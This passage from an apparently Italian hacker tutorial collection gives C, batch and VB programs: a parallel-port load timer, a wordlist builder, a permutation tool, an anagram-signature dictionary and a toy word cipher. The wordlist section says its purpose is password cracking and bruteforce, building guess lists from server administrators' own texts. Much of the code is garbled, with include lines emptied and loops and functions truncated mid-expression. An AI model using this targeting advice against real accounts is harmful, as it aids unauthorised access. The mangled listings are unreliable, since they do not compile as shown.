delle poete e le relative temporizzazioni da un file di testo scitto alla bisogna. (ps il programma che segue governa solo 4 carichi utili invece di otto perche' mi era stato richiesto cosi'. Per chi volesse cambiare da 4 a 8 e' necessario cambiare questo spezzone di codice -.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.- n1=atoi(s); fscanf(f,"%s",s);n2=atoi(s); fscanf(f,"%s",s);n3=atoi(s); fscanf(f,"%s",s);n4=atoi(s); fscanf(f,"%s",s);T=atol(s); p=time(NULL); outp(0x378,(n1+2*n2+4*n3+8*n4)); printf("Metto la porta a %d%d%d%d =%2d -> Timer %4ld secondi\n",n1,n2,n3,n4,n1+2*n2+4*n3+8*n4,T); -.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.- con questo (ovviamente dichiarando prima tutte le variabili e cambiando gli script di conseguenza!) -.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.- n1=atoi(s); fscanf(f,"%s",s);n2=atoi(s); fscanf(f,"%s",s);n3=atoi(s); fscanf(f,"%s",s);n4=atoi(s); fscanf(f,"%s",s);n5=atoi(s); fscanf(f,"%s",s);n6=atoi(s); fscanf(f,"%s",s);n7=atoi(s); fscanf(f,"%s",s);n8=atoi(s); fscanf(f,"%s",s);T=atol(s); p=time(NULL); outp(0x378,(n1+2*n2+4*n3+8*n4+16*n5+32*n6+64*n7+128*n8)); printf("Metto la porta a %d%d%d%d%d%d%d%d =%2d -> Timer %4ld \ secondi\n",n1,n2,n3,n4,n5,n6,n7.n8,n1+2*n2+4*n3+8*n4+16*n5+32*n6+64*n7+128*n8,T); -.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.- Il programma ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: AUTOMAC.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include #include #include int vedi(char *prog); char *tolo(char *a); main (int a, char **b) { FILE *f; char s[10]; int n1,n2,n3,n4; long T; time_t p; if(a!=2) { printf("AUTOMAC file_script\n"); exit(0); } if(vedi(b[1])<0) { printf("file script [%s] non trovato\n",b[1]); exit(0); }; f=fopen(b[1],"rb"); while(!strstr(s,tolo("-inizio-")))fscanf(f,"%s",s); while(!feof(f)) { fscanf(f,"%s",s);if(strstr(s,tolo("-fine-"))){printf("\nFinito.\n");exit(0);} n1=atoi(s); fscanf(f,"%s",s);n2=atoi(s); fscanf(f,"%s",s);n3=atoi(s); fscanf(f,"%s",s);n4=atoi(s); fscanf(f,"%s",s);T=atol(s); p=time(NULL); outp(0x378,(n1+2*n2+4*n3+8*n4)); printf("Metto la porta a %d%d%d%d =%2d -> Timer %4ld secondi\n",n1,n2,n3,n4,n1+2*n2+4*n3+8*n4,T); while(time(NULL)=0)return 1; else return -1; } ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: uno script di esempio ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: script.scp ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Questo e' un semplice esempio di script ci puoi scrivere dentro quello che ti pare basta come testo che tra tra i due terminatori di inizio e di fine ci siano esclusivamente i dati relativi allo stato delle porte e il timer i dati sono formati da cinque numeri: i primi quattro sono lo stato dei "carichi" 1=acceso e 0=spento. Il quinto numero identifica per quanti secondi dovra' restare attivo quel particolare stato nello script sotto ad esempi .. alla partenza e' tutto spento per il primo secondo, quindi si accende il carico 2, dopo 2 secondi si accende anche il carico 3 assieme al 2, dopo un secondo il carico tre si spegne e dopo altro tre secondi si spegne anche il carico 2 accendendosi il 4 che resta acceso per 10 secondi dopo di che il carico uno lampeggia per due volte alla frequenza di un secondo ed e' tutto finito. ;-) c1 c2 c3 c4 Timer ------------------ -inizio- 0 0 0 0 1 0 1 0 0 2 0 1 1 0 1 0 1 0 0 3 0 0 0 1 10 1 0 0 0 1 0 0 0 0 1 1 0 0 0 1 0 0 0 0 0 -fine- ------------------ ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .. trasformando il programma automac.c considerando tutti e 8 i carichi utili su i pin -data- lo script dovrebbe essere pero' scritto cosi' ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: script.scp ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: c1 c2 c3 c4 c5 c6 c7 c8 Timer ------------------------------ -inizio- 0 0 0 0 0 0 0 0 1 0 0 0 0 0 1 0 0 2 0 0 0 0 0 1 1 0 1 0 0 0 0 0 1 0 0 3 0 0 0 0 0 0 0 1 10 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 -fine- ------------------------------ ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: sintassi AUTOMAC file_script Se a qualcuno interessa trovate nel file archivio.ace citato all'inizio anche un controllore di carichi in VB che sfrutta una dll scritta in C per leggere e scrivere singoli byte su una porta prefissata. VBIO.DLL XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 18. Creare un dizionario da un file di testo //--------------------------------------------------------------------------------------------------- (ps: . cosa strana. E' un programma semplice ma sovente mette chi programma in serie difficolta'.. chissa' perche!?) Spesso e' necessario avere a disposizione per i motivi piu' svariati (cracking delle password, bruteforce, ecc..) un buon dizionario di vocaboli da -provare-. Se ne trovano molti in rete ma farsene uno da soli ha sempre un certo fascino. Si consideri anche l'utilita' in certi casi: 1. spesso gli amministratori di server proteggono le loro macchine con password non proprio di fantasia: per essere sicuri di ricordarsele usano sempre le stesse parole o frasi caratteristiche magari modificate di poco, 2. gli stessi mettono su i loro server manulistica e specifiche dei servizi offerti scritti di loro pugno e lasciati a pubblica disposizione (spesso per invogliare ad accedere alle risorse a pagamento) 3. ognuno di noi anche se la cosa puo' a prima vista non sembrare cosi' usa per scrivere un vocabolario di parole relativamente limitato a quello conosciuto. da queste tre occorrenze e' facile capire l'utilita' di un dizionario stilato sulla base delle parole -usate- dagli amministratori al fine di scoprire eventuali passwords da loro ideate. Come si fa? .. la ricetta e'presto fatta: Serve un file in formato testo lungo a piacere. Tramite la comodissima funzione fscanf che immette in una stringa sequenzialmente tutte le parole contenute in un testo e separate da spazi.. si crea un file secondario con tutte le parole trovate in lista non ordinata. Grazie al Sort del dos e' ora possibile ordinare la lista disordinata. Resta ancora il problema piu' gravoso eliminare tutti i doppioni che sicuramente saranno la maggioranza. Per questo e' sufficiente scorrere tutta la lista immettendo la pima parola in una variabile di controllo (chiamiamola A0 ) stampandola e confrontarla con la seconda. Se la seconda e' uguale alla prima si passa a valutare la terza e cosi' via. Quando la n'sima Parola e' diversa da A0 la si stampa e si mette quest'ultima in A0 continuando fina alla fine della lista ordinata. in pratica cosi': P(n) == Parola alla locazione n ... | | +----------+ | n=0 | +----------+ | |<-------------------------+ | | +----------+ | | A0=P(n) | | +----------+ | | | +<----------------+ | | | | / \ | | /? s\___________+---------+ | \ / | n=n+1 | | \n/ P(n+1)=A0 +---------+ | | | | | / \ | /? n\________________________+ \ / \s/ Fine lista | | Fine -Stampando- tutte le parole diverse trovate in un terzo file avremo la lista ordinata e senza doppioni.. ovvero il file dizionario relativo al testo iniziale. Il programma: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: TXT2DIZ.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include #include #include #include char *tolo(char *a); char *mid(char *str,int pos,int nc); int instr(char *st1,char *st2,int pos); char *cambia(char *str, char *da, char *a); // tutto2 file_input file_output [ lista_char ] [ opzione -[m|M] ] // es lista_char ancbfhtg123 .. a-z012345 a-z0-9 A-Za-z0-9 main(int nf,char **file) { FILE *in,*out; unsigned char s[200],s1[200]; unsigned char ca[200]; int n,n1,x,y,tro,min=1; long cc,dd; // -------------- controllo parametri------------------------------------------------------------ if(nf<2||nf>5) { textcolor(YELLOW); textbackground(BLUE); cprintf("\r\n+-----------------------------------------------------------------------------+\r\n"); cprintf("| TXT2DIZ file_input.txt File_output.txt [lista_caratteri] [ -[m|M ] |\r\n"); cprintf("+---------+---------------+----------------+-------------------+--------------+\r\n"); cprintf("| | File di testo | Nome del file | lista caratteri | converte le |\r\n"); cprintf("| (c)2k | da elaborare. | dizionario da | gli unici citati | lettere da |\r\n"); cprintf("| Master | | creare. | saranno ritenuti | maiuscole in |\r\n"); cprintf("| | +---------------+----------------+ validi. | minuscole. |\r\n"); cprintf("| | _______________________ | es: abcsjkej123&' | -m = ON |\r\n"); cprintf("| \\_____ / www.spippolatori.com \\_\\_ | a-z0-9 | -M = OFF |\r\n"); cprintf("| \\_______________________/ / | A-Za-z0-9' | default = ON |\r\n"); cprintf("| | a-z'@ | |\r\n"); cprintf("+-------------------------+----------------+-------------------+--------------+\r\n"); cprintf(" ES: TXT2DIZ testo.txt dizion.txt (senza parametri = 'a-z0-9 -m) \r\n"); cprintf(" TXT2DIZ testo.txt dizion.txt A-Za-z0-9'@_- -M \r\n"); cprintf(" TXT2DIZ testo.txt dizion.txt aeioucdefgh1238'=)(=?A-Z -M \r\n"); cprintf(" TXT2DIZ testo.txt dizion.txt abcdef02468 \r\n"); cprintf(" \r\n"); textcolor(LIGHTGRAY); textbackground(BLACK); cprintf(" \r\n"); exit(0); } if(nf==3) { min=1; file[3]="'a-z0-9"; } if(nf==5) { if(strstr(file[4],"-m"))min=1; else min=0; } // ---------------------------------------------------------------------------------------------- // -------------- trasformazione degli acronimi ------------------------------------------------- strcpy(ca,file[3]); strcpy(ca,cambia(ca,"a-z","abcdefghijklmnopqrstuvwxyz")); strcpy(ca,cambia(ca,"A-Z","ABCDEFGHIJKLMNOPQRSTUVWXYZ")); strcpy(ca,cambia(ca,"0-9","0123456789")); // ---------------------------------------------------------------------------------------------- // -------------- passo 1 ----------------------------------------------------------------------- in=fopen(file[1],"rb"); out=fopen("passa","wb"); printf("\npasso 01 : individuazione delle parole e composti \n"); x=wherex();y=wherey();cc=0; while(!feof(in)) { fscanf(in,"%s",s); gotoxy(x,y); cprintf("Parole : %ld",cc++); for(n=0;n passa3"); remove("passa2"); // ---------------------------------------------------------------------------------------------- // -------------- passo 4 ----------------------------------------------------------------------- printf("passo 04 : elimininazione dei doppioni\n"); in=fopen("passa3","rb"); out=fopen(file[2],"wb"); strcpy(s1,"*"); x=wherex();y=wherey();cc=0;dd=0; while(!feof(in)) { su: fscanf(in,"%s",s); gotoxy(x,y); cprintf("Parole esaminate %ld, scartate %ld, estratte %ld",cc++,cc-dd,dd); if(strstr(s,s1)&&(strlen(s)==strlen(s1))&&!feof(in))goto su; fprintf(out,"%s\r\n",s);dd++; strcpy(s1,s); } fclose(in);fclose(out); remove("passa3"); printf("\nFinito!"); } // ---------------------------------------------------------------------------------------------- // -------------- converte una stringa in caratteri minuscoli ----------------------------------- char *tolo(char *a){ int i=0; char *c=(char *)malloc(strlen(a)+2); while((c[i]=tolower(a[i]))!=0)i++; return(c); } // ---------------------------------------------------------------------------------------------- // -------------- funzioni mid/instr/cambia ----------------------------------------------------- char *mid(char *str,int pos,int nc) { char s[0xff]; int n,k=0; for(n=pos;n<=pos+nc-1;n++) s[k++]=str[n]; s[k]=0; return(s); } char *cambia(char *str, char *da, char *a) { char s[0xff]; int pos=instr(str,da,0),k; if(pos<0)return(str); strcpy(s,mid(str,0,instr(str,da,0))); strcat(s,a); k=instr(str,da,0)+strlen(da); strcat(s,mid(str,k,strlen(str)-k)); return(s); } int instr(char *st1,char *st2,int pos) { int tro,n,m; for(n=pos;n<=strlen(st1)-strlen(st2);n++){ tro=1; for(m=n;m<=n+strlen(st2)-1;m++) if(st1[m]!=st2[m-n])tro=0; if(tro==1)return(n);} return(-1); } // ---------------------------------------------------------------------------------------------- ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Compilando TXT2DIZ e chiamando l'eseguibile senza parametri si avra' la corretta sintassi e l'help. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 19. Permutazioni //--------------------------------------------------------------------------------------------------- Un piccolo tool veramente minimo per ottere tutte le permutazioni di una parola. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: PERM.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include void fai(char *a,int i,int l){ int t;char *q; if(i Output.txt si otterra' un file Output.txt contenente tutte le permutazioni della -parola- indicata. Attenzione! .. con parolo piu' lunghe di 10/11 caratteri tutti diversi si ottiene un numero elevatissimo di permutazioni creando file enormi che potrebbero danneggiare il vostro hd.. tenete conto che il programma in C crea questi file in pochissimi secondi. es: N.Caratteri Parola Dimensioni del file d'uscita 7 abcdefg 45k 8 abcdefgh 400k 9 abcdefghi 4M 10 abcdefghij 40M 11 abcdefghijk 400M ecc... il numero di permutazioni trovate per parole con carateri tutti diversi e' n. caratteri della parola = C N. permutazioni trovate = C! (ovviamente ;-) ) Il programma pero' scarta le permutazioni simili quindi con parole anche piu' lunghe di 10 caratteri ma con caratteri uguali al proprio interno si ottengono un numero di permutazioni ridotto. Es. N.Caratteri Parola Dimensioni del file d'uscita 9 deleterie 2M (invece di 4M) 10 contestata 25M (invece di 40M) ecc.. ma in generale il discorso sull'attenzione vale lo stesso. es. Di file d'uscita PERM roma > ok.txt -------------------------ok.txt roma roam rmoa rmao raom ramo orma oram omra omar oarm oamr mroa mrao mora moar maro maor arom armo aorm aomr amro amor ------------------------- visto che originariamente me lo avevano chiesto in visual basic ;-) ------------------------------------------ Permutazioni in basic ------------------------------------------ Dim buf As String Private Sub fai(a, i, l) DoEvents If (i < l) Then q = a For t = i To l - 1 z = Mid$(q, i + 1, 1) If (t = i Or Mid$(a, t + 1, 1) <> z) Then p = Mid$(q, t + 1, 1) Mid$(q, t + 1, 1) = z Mid$(q, i + 1, 1) = p fai q, i + 1, l End If Next Else buf = buf + a + vbCrLf End If End Sub Private Sub Command1_Click() fai Text1, 0, Len(Text1) Text2 = buf End Sub ------------------------------------------ un form.. una casella di testo text1 per inserire la parola da permutare una casella di testo text2 per vedere il risultato. Stesso algoritmo, stessa procedura convertita. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 20. Parole composte //--------------------------------------------------------------------------------------------------- Il problema nasce dal -come trovare- rapidamente le parole composte da un certo insieme di caratteri. Quelli non piu' giovincelli si ricorderanno sicuramente il programma "paroliamo" nel quale due concorrenti si sfidavano a trovare la parola piu' lunga di senso comune dato un insieme di 10 lettere scelte a caso tra vocali e consonanti. All'epoca mi posi subito il problema di come poter fare un programma al computer che trovasse tutte le parole -composte- da un determinato gruppo di lettere scegliendole da un dizionario. La prima prova si fa sempre nel modo sbagliato... si cercano le permutazioni dell'insieme di lettere e si guarda nel dizionario se ognuna di queste permutazioni e' una parola di senso compiuto. E' un lavoro folle!.. :)) Come avete potuto notare appena sopra (al programma permutazioni) le permutazioni di una parola di 10 lettere producono un file di parole (solo testo) che puo' arrivare tranquillamente a 40 Mb .. ovvero a 10! parole. mettendo quindi un dizionario di 20.000 parole dovremmo controllare 3.628.800 parole x 20.000 parole diverse. Sarebbero necessari 7.25 * 10^10 passaggi divversi di programma. Mettendo di avere un computer MOLTO veloce i grado di eseguirne 100000 (centomila) al secondo impiegheremmo cmq piu' di 8 giorni per fare questa verifica. ..eh si!..ma il computer che usavano a paroliamo era un semplice 8088 e il calcolo lo faceva quasi immediatamente.. oh allora? he he .. ma c'e' un trucco! Ogni parola ha una una sua -firma caratteristica- rappresentata dall'ordinamento delle lettere che la compongono. aaacceiirrsttt -> caratteristica aaaccirtt -> raccattai aaaccirtt -> tracciata ecc.. come vedete "raccattai" e "tracciata" hanno la stessa firma. Cio' significa che sono due parole composte dalle stesse lettere. Il computer del programma paroliamo aveva quindi un dizionario di firme! Ovvero un dizionario con una serie di firme ordinate con a fianco la lista delle parole che e' possibile comporre con quella determinata firma. Agli autori bastava cercare la firma corrispettiva con i caratteri ordinati presi a caso dai concorrenti per trovare sul dizionario delle firme tutte le parole di senso compiuto costruibili con la stessa. Un dizionario di firme e' un dizionario che si presenta cosi'.. ---------------------------------------- aaaaaglmmt amalgamata aaaaaglmmv amalgamava aaaabbeitv abbaiavate aaaabbgilt abbagliata aaaabbgilv abbagliava aaaabbimov abbaiavamo aaaabbinov abbaiavano aaaabbirrt arrabbiata aaaabbirrv arrabbiava aaaabbit abbaiata aaaabbiv abbaiava aaaabbnstz abbastanza aaaabbsst abbassata aaaabbssv abbassava aaaabcimst ambasciata aaaabeflnt analfabeta aaaabllrtt traballata aaaabllrtv traballava aaaabrttt barattata aaaabrttv barattava aaaacccist accasciata aaaacccisv accasciava aaaaccestv accasavate aaaaccffit affacciata aaaaccffiv affacciava aaaaccillt allacciata aaaaccillv allacciava aaaacclmt acclamata aaaacclmv acclamava aaaacclort accalorata aaaacclorv accalorava aaaacclstv scavalcata aaaacclsvv scavalcava aaaaccmosv accasavamo aaaaccmpt accampata aaaaccmpv accampava aaaaccnosv accasavano aaaaccrttt raccattata aaaaccrttv raccattava aaaaccst accasata aaaaccsv accasava aaaaccttt attaccata aaaaccttv attaccava aaaaceirrtttzz caratterizzata aaaacemmtv ammacavate aaaacffitt affaticata aaaacffitv affaticava aaaacffnrt affrancata aaaacffnrv affrancava aaaacfrsst fracassata aaaacfrssv fracassava aaaacggint agganciata aaaacgginv agganciava aaaaclnpst spalancata aaaaclnpsv spalancava aaaacmmmov ammacavamo aaaacmmnov ammacavano aaaacmmt ammacata aaaacmmv ammacava aaaacnnqtu annacquata aaaacnnquv annacquava aaaacnnrtt tracannata ... ---------------------------------------- come e' possibile costruirlo? Semplicissimo. Dopo essersi creati un dizionario di parole da dei testi presi a caso col programma presentato sopra lo passeremo al seguente programma .. -------------------------- paroliamo.c #include #include main(int nf,char **f){ FILE *v1; int p,c,n; char s1[40],s2[40],pa; v1=fopen(f[1],"rb"); while(!feof(v1)){ fscanf(v1,"%s",s1); strcpy(s2,s1); p=strlen(s1); c=1; while(c==1){ c=0; for(n=0;ns1[n+1]){ pa=s1[n]; s1[n]=s1[n+1]; s1[n+1]=pa; c=1;}} printf("%s %s\n",s1,s2);} fclose(v1);} -------------------------- es PAROLIAM testo.txt > parol.txt .. e' possibile processare anche file di testo piccoli per ottenere le firme caratteristiche. facciamo l'esempio di voler ottenere il dizionario delle firme dal semplice testo: ---------------------file FRASE.TXT tanto va la gatta al lardo che ci lascia lo zampino --------------------- useremo il programma TXT2DIZ per ottenere il dizionario delle parole di testo compiuto: txt2diz FRASE.TXT DIZ.TXT a-z otterremo il seguente file DIZ.TXT ---------------------DIZ.TXT al che ci gatta la lardo lascia lo tanto va zampino --------------------- passando questo file al programma PAROLIAMO troveremo ils eguente dizionario FIRME.TXT PAROLIAMO DIZ.TXT > FIRME.TXT ---------------------FIRME.TXT al al ceh che ci ci aagtt gatta al la adlor lardo aacils lascia lo lo anott tanto av va aimnopz zampino --------------------- ordinato con SORT FIRME.TXT > FIRME2.TXT otterremo il file finale ---------------------FIRME2.TXT aacils lascia aagtt gatta adlor lardo aimnopz zampino al al al la anott tanto av va ceh che ci ci lo lo --------------------- Il procedimento per la costruzione di dizionari di firme anche molto complessi e' esattamente lo stesso. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX . - . //--------------------------------------------------------------------------------------------------- 21. Cifrature / riduzioni di testo da vocabolari bilanciati //--------------------------------------------------------------------------------------------------- E' un'idea bislacca che mi e' venuta in relazione ad una richiesta che mi era stata fatta sul ng alt.hackers diverso tempo fa da un -esploratore delle parole-. ;-) .. cifrare un testo mescolando le parole in esso contenute (o convertendole sulla base di un secondo dizionario) per poi tornare tramite un algoritmo di decodifica al testo originale. Il tutto potendo scegliere una chiave di cifratura comune da non doversi trasferire assieme al testo cifrato che dovrebbe contenere solo ed esclusivamente le parole originali o un insieme uguale di parole di senso compiuto tutte diverse, Es: essere o non essere potrebbe venire cosi' : " scatola tuorlo albino scatola " permettendo pero' tramite qualche procedura di risalire alla frase originale!. L'idea originale era questa.. se ogni parola potesse essere rappresentata con uno o due byte massimo si potrebbe operare una precompressione su un file di testo fino a portarlo a dimensioni veramente minimi. In effetti la cosa e' possibile.. basta avere un dizionario di parole ben strutturato, numerare le parole da 1 a N e sostituire poi le parole con il loro indice all'interno del dizionario stesso. Es: se avessimo un dizionario fromato da queste parole: ------------------------- 1 il 2 gionro 3 notte 4 mattino 5 oro 6 l'oro 7 davanti 8 massimizzare 9 ha A in B tasca C bocca ecc.. -------------------------- potremmo convertire la frase "Il mattino ha l'oro in bocca" con l'equivalende indicizzato il = 01 mattino = 04 ha = 09 l'oro = 06 in = 0A bocca = 0C == 010409060A0C 6 Byte al posto di 28 .. un livello di compressione del 78% Ovviamente per la ricostruzione del testo servirebbero delle librerie run_time .. he he nel nostro caso il dizionario necessario alla compressione. Si consideri che 1 byte e' sufficiente a comprimere 256 parole, 2 byte 65536 e 3 byte ben 16.777.216 parole. E' facile vedere come con 2 byte (65536 parole diverse!) sia possibile dichiarare un dizionario tale da poter esprimere in forma compressa qualunque concetto se si escludono i tipi prolissi come me. ;-) Tutto chiaro fin qui ? .. ok. Andiamo avanti. Una volta ottenuta la stringa compressa di valori esadecimali (o decimali .. non ha importanza!) da questa e' possibile avere in uscita un testo adattato ad un secondo vocabolario strutturato esattamente sulla base del primo ma con le parole ordinate in diversa maniera. Facciamo ancora un esempio pratico: Abbiamo il vocabolario VOCAB1 ------------------------- 1 il 2 gionro 3 notte 4 mattino 5 oro 6 l'oro 7 davanti 8 massimizzare 9 ha A in B tasca C bocca ecc.. -------------------------- ne creiamo una versione VOCAB2 ordinata in diversa maniera .. (a caso .. poi vedremo come farlo seguendo una chiave o una regola logica.) ------------------------- 1 tasca 2 bocca 3 ha 4 notte 5 mattino 6 oro 7 l'oro 8 davanti 9 gionro A massimizzare B il C in ecc.. -------------------------- Abbiamo la frase da cifrare : "Il mattino ha l'oro in bocca" Procederemo cosi': Da VOCAB1 ricaviamo la stringa compressa 010409060A0C sostituendo ai valori numerici il corrispettivo letterale da VOCAB2 otteniamo "tasca notte giorno oro massimizzare in" .. la cosa funziona. Ma cosa c'e' di sbagliato ? .. Avendo a disposizione VOCAB1 e VOCAB2 e' possibile da una frase risalire all'altra facendo il procedimento inverso. Il vocabolario di partenza potrebbe essere in comune tra due utenti che intendono scambiarsi messaggi cifrati, ma la chiave? Io ho optato per questa soluzione, Il SORT del dos offre nelle ultime versioni l'opportunita di ordinare unalista inbase alla colonna N del file di testo considerato. es SORT /+3 pippo > pippo2 ordina il file pippo in base alla colonna 3. (3 sarebbe la chiave) AVendo a disposizione un vocabolario comune VOCAB1 si potrebbe fare una copia di questo chiamandola VOCAB2 e ordinare il primo secondo con chiave A e il secondo con chiave B. A questo punto avremmo una chiave di decodifica AB che potremmo rendere nota ai nostri interlocutori per permettergli la successiva decodifica dei nostri messaggi cosi' bislaccamente cifrati. ;-) Vediamo i programmi necessari ad ottenere tutto questo. TRO > TRO trova le corrispondenze d'indice di un file di da cifrare con un determinato file e le mette nel file DEC > DEC dato un file di corrispondenze d'indice le associa alle parole presenti in un determinato e le mette nel file CODIFICA esegue automaticamente la codifica del file di trvando le corrispondenze su un vocabolario chiamato VOCAB1.TXT e le associa con un altro vocabolario chiamato VOCAB2.TXT .. scrive il risultato nel file DECODIFICA l'inverso di codifica ovviamente. ;-) CHIAVE ordina i vocabolari chiamati VOCAB1.TXT e VOCAB2.TXT secondo le chiavi di ordinamento a colonna e I programmi: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: TRO.C ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: #include #include unsigned int hs(char *cptr){ unsigned int i, j = 0; while (cptr && *cptr && isxdigit(*cptr)) { i=*cptr++-'0'; if(9 #include #include unsigned int hs(char *cptr){ unsigned int i, j = 0; while (cptr && *cptr && isxdigit(*cptr)) { i=*cptr++-'0'; if(9 passa @ECHO ANCORA UN ATTIMO.. @dec vocab2.txt passa > %2 @del passa @ECHO FINITO! ;-) ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: DECODIFICA.BAT ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: @ECHO ATTENDI.. @tro vocab2.txt %1 > passa @ECHO ANCORA UN ATTIMO.. @dec vocab.txt passa > %2 @del passa @ECHO FINITO! ;-) ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: CHIAVE.BAT ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: @ECHO ORGANIZZO IL VOCABOLARIO @SORT vocab.txt > passa @del vocab.txt @del vocab2.txt @ECHO CREO LA PRIMA CHIAVE @SORT /+%1 passa > vocab.txt @ECHO CREO LA SECONDA CHIAVE @SORT /+%2 passa > vocab2.txt @del passa @ECHO FINITO! ;-) ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: metodo pratico di utilizzo. Abbiamo N utenti del cifrario che intendono comunicarsi degli originali messaggi cifrati. 1. Si stabilisce un vocabolario standard di parole e lo si distribuisce a tutti gli interessati. 2. ogni utente si fara' una copia del vocabolario chiamando il primo VOCAB1.TXT e il seconodo VOCAB2.TXT 3. Si stabilira' per un certo periodo di comunue accordo tra tutti gli interessati di usare una determinata chiave AB (con A e B numeri interi X tali che 1<=X<=9 ) all'atto della cifratura si procedera' cosi': Si metteranno nella stessa directory i programmi: TRO.EXE, DEC.EXE, DECODIFICA.BAT, CODIFICA.BAT, CHIAVE.BAT, VOCAB1.TXT, VOCAB2.TXT, testo.txt (testo.txt contiene il messaggio da cifrare o il cifrato da trasportare in chiaro) CHIAVE A B (per organizzare i vocabolari secondo la chiave) per codificare: CODIFICA testo.txt CIFRATO.TXT per decodificare: DECODIFICA CIFRATO.TXT testo.txt .. e' un buon sistema? .. e' sicuro? .. probabilmente no; ma quale sistema e' sicuro? ;-) .. serve a qualcosa ? ..mah .. chi puo' dirlo?.. io mi sono divertito a farlo, spero anche voi vi siate divertiti nel leggerlo e/o nel provarlo. :)) XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 